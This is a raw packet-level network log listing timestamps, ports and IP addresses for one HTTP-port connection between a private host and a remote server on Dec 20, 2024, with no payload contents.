Dec 20, 2024 17:43:46.725526094 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.727083921 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.727098942 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.727148056 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.727592945 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.728058100 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.728101015 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.728794098 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.728899956 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.728946924 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.730175018 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.730187893 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.730221033 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.730248928 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.731367111 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.731379032 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.731426001 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.732536077 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.732549906 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.732599020 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.733467102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.733479023 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.733526945 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.734247923 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.734291077 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.734627962 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.735357046 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.735400915 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.735680103 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.736406088 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.736455917 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.737184048 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.737464905 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.737509966 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.737826109 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.738137007 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.738533974 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.738715887 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.738759995 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.739825964 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.740232944 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.740279913 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.740726948 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.740782022 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.741007090 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.741822004 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.741869926 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.742767096 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.743156910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.743170023 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.743218899 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.743230104 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.744544029 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.744558096 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.744595051 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.744607925 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.745094061 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.745605946 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.745661020 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.746340990 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.746686935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.746737957 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.747358084 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.748184919 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.748229980 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.748333931 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.748420954 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.748465061 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.749975920 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.749989033 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.750037909 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.750814915 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.750857115 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.752090931 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.752103090 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.752120018 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.752145052 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.752172947 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.752942085 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.752957106 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.752995968 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.754214048 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.754225016 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.754266024 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.755183935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.756793976 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.756803989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.756814957 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.756834030 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.756856918 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.757385969 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.757396936 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.757411003 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.757435083 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.757462978 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.759283066 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.759295940 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.759310961 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.759332895 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.759341002 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.759368896 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.760476112 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.760488033 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.760516882 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.760545969 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.761929989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.761941910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.761986971 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.763142109 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.763165951 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.763176918 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.763196945 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.763751984 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.764622927 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.764674902 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.764787912 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.764801025 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.764847994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.765876055 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.765921116 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.765959024 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.766851902 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.766899109 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.767102003 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.767887115 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.767936945 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.768033028 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.768074989 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.902420998 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.902487040 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.902501106 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.902548075 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.902936935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.902982950 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.903878927 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.903896093 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.903923035 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.903939962 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.904011011 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.904048920 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.904939890 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.904969931 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.905091047 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.905945063 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.906002045 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.906100988 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.906140089 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.907007933 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.907061100 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.907098055 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.907135010 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.908124924 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.908184052 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.908272982 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.908313036 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.909176111 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.909193039 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.909235954 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.910162926 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.910217047 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.910289049 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.910335064 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.911159992 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.911218882 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.911660910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.911704063 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.912182093 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.912233114 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.912571907 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.912612915 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.913225889 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.913284063 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.913427114 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.913466930 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.914261103 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.914313078 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.915407896 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.915427923 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.915456057 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.915467978 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.915488958 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.916326046 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.916675091 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.916773081 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.917670965 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.917689085 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.917747974 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.918420076 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.918476105 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.918553114 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.919094086 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.919475079 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.919497013 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.919517994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.919533014 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.920483112 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.920526981 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.920778990 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.920816898 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.921642065 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.921686888 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.921910048 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.921948910 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.922555923 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.922597885 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.922960043 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.922998905 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.923619986 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.923661947 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.924565077 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.924604893 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.924685955 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.924699068 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.924725056 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.925678968 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.925721884 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.925879002 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.925915956 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.926809072 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.926847935 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.927155972 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.927195072 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.927879095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.927891016 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.927918911 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.928931952 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.928973913 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.929073095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.929111958 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.929994106 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.930031061 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.930449963 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.930490017 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.930888891 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.930927038 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.931138039 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.931176901 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.931948900 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.931988001 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.932126045 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.932166100 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.933084011 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.933124065 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.933249950 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.933285952 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.934091091 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.934127092 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.934322119 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.934359074 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.935102940 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.935141087 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.936115026 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.936127901 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.936156034 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.936357975 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.936397076 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.937138081 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.937181950 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.937517881 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.937555075 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.938173056 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.938210011 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.938510895 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.938549042 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.939335108 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.939373016 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.939584017 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.939620972 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.940778971 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.940818071 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.940929890 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.940964937 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.941617966 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.941653967 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.941782951 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.941818953 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.942426920 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.942465067 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.942550898 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.942585945 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.943423033 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.943460941 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.943820000 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.943864107 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.944420099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.944456100 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.944520950 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.944556952 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.945460081 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.945513010 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.945699930 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.945741892 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.946634054 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.946672916 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.946860075 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.946902990 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.947590113 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.947628975 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.948077917 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.948707104 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.948764086 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.948941946 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.949913025 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.949965000 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.950249910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.950675964 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.950723886 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.951176882 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.951746941 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.951790094 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.951946020 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.951982975 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.952763081 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.953269958 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.953320026 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.953819990 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.954125881 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.954184055 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.955050945 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.955151081 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.955240011 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.956023932 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.956080914 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.956269026 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.956799984 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.956897020 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.960829020 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.094856977 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.094934940 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.094960928 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.095093966 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.095753908 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.095768929 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.095812082 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.096565962 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.096611977 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.096652985 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.096713066 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.097795010 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.097863913 CET	49769	80	192.168.2.6	31.41.244.11
